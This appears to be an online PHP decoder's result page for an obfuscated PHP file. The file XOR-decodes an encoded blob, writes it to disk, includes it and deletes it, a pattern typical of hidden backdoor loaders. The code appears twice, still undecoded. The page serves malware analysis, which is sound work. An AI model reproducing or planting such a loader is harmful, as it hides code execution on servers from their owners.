Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function whXnQNDHj($EAxprfGtyHYA, $erMtqEDbzuA) { $EAxprfGtyHYA = urldecode..
Decoded Output download
<?php
function whXnQNDHj($EAxprfGtyHYA, $erMtqEDbzuA)
{
$EAxprfGtyHYA = urldecode($EAxprfGtyHYA);
$CSiwVt = str_split($EAxprfGtyHYA);
$action = "";
for ($i = 0; $i < strlen($EAxprfGtyHYA);$i++) {
$action .= $CSiwVt[$i] ^ $erMtqEDbzuA[$i%5];
}
return $action;
}
$i="Fr%1E%00%22wG.%01%3C%13%12%1D%0D%26Rj%0B%1A+%15%3F1%04%3D%1DjBH%1C%2F%01%22AiwG.%01%3C%13%12%1D%0D%26Rj%02%075%25%28%1C%1A%3D%08%3EIDrJdUeX%3A%24%00%01%0D%09%28%1A%40u%17%2C%1677%02%28%0D%1D%26%13%22%007%26%13+%0BO%7EZ%7DGS_p%0D%1D%0D%26%259%07%057%25%21%07%05%3B%0Ee%5EAiwGcb_p%2B%1B%061%0E%24%01%06r%09%25%0A%18z%5E%29%0F%1C3VmJ%037%03dcb%29wGNHrZi%01%1D%26%25%29%0F%1C3ZpNJpA%40dHrZm%08%07+ZeJ%01rGm%5ESr%5E%24NTr%099%1C%047%14eJ%0C3%0E%2CGS%7BZ6cbrZmNHrZm%08%07+ZeJ%02rGm%5ESr%5E%27NTr%099%1C%047%14eJ%037%03dNNtZi%07HnZ%3E%1A%1A%3E%1F%23FL6%1B9%0FAiZi%04CyVmJ%01yQdN%13_pmNHrZmNHrZmNL%3D%0F91%0C3%0E%2CNFoZ.%06%1Az%15%3F%0A%40v%1E%2C%1A%09%09%5E%243Ar%24m%01%1A6Ri%05%0D%2B%21i%045%7BSvcbrZmNHrZm%13eXZmNH%2FwGNHrZ%3F%0B%1C%27%08%23NL%3D%0F91%0C3%0E%2CUeX%07%40d%014Ze%07%1B%21%1F9FL%0D%3D%08%3A3dM%7EZ%5Bg%27dGeX%01%40dHrZm%0A%017R+%0A%5DzNzYY%60SdUeX%07%40dL%26%1F+%1EU3%08%3F%0F%11%0D%17%28%1C%0F7Ri1%2B%1D5%06%27-%7EZi18%1D%29%19GS_p%2B%01%1A7%1B.%06Hz%5E9%0B%05%22Z%2C%1DHv%1E%2C%1A%09%0D%11%28%17HoDmJ%0C3%0E%2CGH%29wGNHrZi%0A%09%26%1BmSH%12%0F%23%1D%0D+%13%2C%02%01%28%1Fe%1D%006%0Ae%1D%006%0Ae%0C%09%21%1F%7BZ76%1F.%01%0C7Ri%0A%09%26%1BdBHu%0E9%1CQb%0E%22%05%073%03%21W%1F1%15%25%06%00%3C%1E9%07%01d%02%2A%03%5Db%0B%2B%1F%1A%2B%5DdBHv%1E%2C%1A%09%0D%11%28%17A%7BA%40dHrZm%07%0ErR%24%1D%1B7%0EeJ%0C3%0E%2C5O3%11j3A%7BZ6cbrZmNHrZm%07%0ErRi%0A%09%26%1B%16I%09u%27mSUr%5D%24IAr%01%40dHrZmNHrZmNHr%5E%24NUr%1B%3F%1C%09%2BR%40dHrZmNHrZmNHrZmNHu%0A%3BIHoDm.%18%3A%0A%3B%0B%1A%21%13%22%00%40%7BV%40dHrZmNHrZmNHrZmNHu%09%3BIHoDmIY%7CJ%60_O%7EwGNHrZmNHrZmNH%7BA%40dHrZmNHrZmNHr%1F.%06%07r%3A%3E%0B%1A%3B%1B%21%07%127Ri%07AiwGNHrZmNHr%07m%0B%04%21%1F%24%08Hz%5E%29%0F%1C3%21j%0FO%0FZpSHu%1FjGH%29wGNHrZmNHrZmNH7%0C%2C%02%40v%1E%2C%1A%09%09%5D%29I5%7BA%40dHrZmNHrZ0cbrZmNHrZm%0B%10%3B%0EeGS_pmNHr%07%40d%15";
$j="%1C%24%02%0D%0D%0A8%1A71%15%23%1A%0D%3C%0E%3E";
$oDTHSMukCf="zMnhRGjWVMAW";
$k = whXnQNDHj($i, $oDTHSMukCf);
$f = whXnQNDHj($j, $oDTHSMukCf);
$f($oDTHSMukCf, $k);
include_once ($oDTHSMukCf);
unlink($oDTHSMukCf);
exit(); ?>
Did this file decode correctly?
Original Code
<?php
function whXnQNDHj($EAxprfGtyHYA, $erMtqEDbzuA)
{
$EAxprfGtyHYA = urldecode($EAxprfGtyHYA);
$CSiwVt = str_split($EAxprfGtyHYA);
$action = "";
for ($i = 0; $i < strlen($EAxprfGtyHYA);$i++) {
$action .= $CSiwVt[$i] ^ $erMtqEDbzuA[$i%5];
}
return $action;
}
$i="Fr%1E%00%22wG.%01%3C%13%12%1D%0D%26Rj%0B%1A+%15%3F1%04%3D%1DjBH%1C%2F%01%22AiwG.%01%3C%13%12%1D%0D%26Rj%02%075%25%28%1C%1A%3D%08%3EIDrJdUeX%3A%24%00%01%0D%09%28%1A%40u%17%2C%1677%02%28%0D%1D%26%13%22%007%26%13+%0BO%7EZ%7DGS_p%0D%1D%0D%26%259%07%057%25%21%07%05%3B%0Ee%5EAiwGcb_p%2B%1B%061%0E%24%01%06r%09%25%0A%18z%5E%29%0F%1C3VmJ%037%03dcb%29wGNHrZi%01%1D%26%25%29%0F%1C3ZpNJpA%40dHrZm%08%07+ZeJ%01rGm%5ESr%5E%24NTr%099%1C%047%14eJ%0C3%0E%2CGS%7BZ6cbrZmNHrZm%08%07+ZeJ%02rGm%5ESr%5E%27NTr%099%1C%047%14eJ%037%03dNNtZi%07HnZ%3E%1A%1A%3E%1F%23FL6%1B9%0FAiZi%04CyVmJ%01yQdN%13_pmNHrZmNHrZmNL%3D%0F91%0C3%0E%2CNFoZ.%06%1Az%15%3F%0A%40v%1E%2C%1A%09%09%5E%243Ar%24m%01%1A6Ri%05%0D%2B%21i%045%7BSvcbrZmNHrZm%13eXZmNH%2FwGNHrZ%3F%0B%1C%27%08%23NL%3D%0F91%0C3%0E%2CUeX%07%40d%014Ze%07%1B%21%1F9FL%0D%3D%08%3A3dM%7EZ%5Bg%27dGeX%01%40dHrZm%0A%017R+%0A%5DzNzYY%60SdUeX%07%40dL%26%1F+%1EU3%08%3F%0F%11%0D%17%28%1C%0F7Ri1%2B%1D5%06%27-%7EZi18%1D%29%19GS_p%2B%01%1A7%1B.%06Hz%5E9%0B%05%22Z%2C%1DHv%1E%2C%1A%09%0D%11%28%17HoDmJ%0C3%0E%2CGH%29wGNHrZi%0A%09%26%1BmSH%12%0F%23%1D%0D+%13%2C%02%01%28%1Fe%1D%006%0Ae%1D%006%0Ae%0C%09%21%1F%7BZ76%1F.%01%0C7Ri%0A%09%26%1BdBHu%0E9%1CQb%0E%22%05%073%03%21W%1F1%15%25%06%00%3C%1E9%07%01d%02%2A%03%5Db%0B%2B%1F%1A%2B%5DdBHv%1E%2C%1A%09%0D%11%28%17A%7BA%40dHrZm%07%0ErR%24%1D%1B7%0EeJ%0C3%0E%2C5O3%11j3A%7BZ6cbrZmNHrZm%07%0ErRi%0A%09%26%1B%16I%09u%27mSUr%5D%24IAr%01%40dHrZmNHrZmNHr%5E%24NUr%1B%3F%1C%09%2BR%40dHrZmNHrZmNHrZmNHu%0A%3BIHoDm.%18%3A%0A%3B%0B%1A%21%13%22%00%40%7BV%40dHrZmNHrZmNHrZmNHu%09%3BIHoDmIY%7CJ%60_O%7EwGNHrZmNHrZmNH%7BA%40dHrZmNHrZmNHr%1F.%06%07r%3A%3E%0B%1A%3B%1B%21%07%127Ri%07AiwGNHrZmNHr%07m%0B%04%21%1F%24%08Hz%5E%29%0F%1C3%21j%0FO%0FZpSHu%1FjGH%29wGNHrZmNHrZmNH7%0C%2C%02%40v%1E%2C%1A%09%09%5D%29I5%7BA%40dHrZmNHrZ0cbrZmNHrZm%0B%10%3B%0EeGS_pmNHr%07%40d%15";
$j="%1C%24%02%0D%0D%0A8%1A71%15%23%1A%0D%3C%0E%3E";
$oDTHSMukCf="zMnhRGjWVMAW";
$k = whXnQNDHj($i, $oDTHSMukCf);
$f = whXnQNDHj($j, $oDTHSMukCf);
$f($oDTHSMukCf, $k);
include_once ($oDTHSMukCf);
unlink($oDTHSMukCf);
exit();
Function Calls
str_split | 1 |
urldecode | 1 |
whXnQNDHj | 1 |
Stats
MD5 | 7ee595135ee1e9520e833805a1f8783e |
Eval Count | 0 |
Decode Time | 62 ms |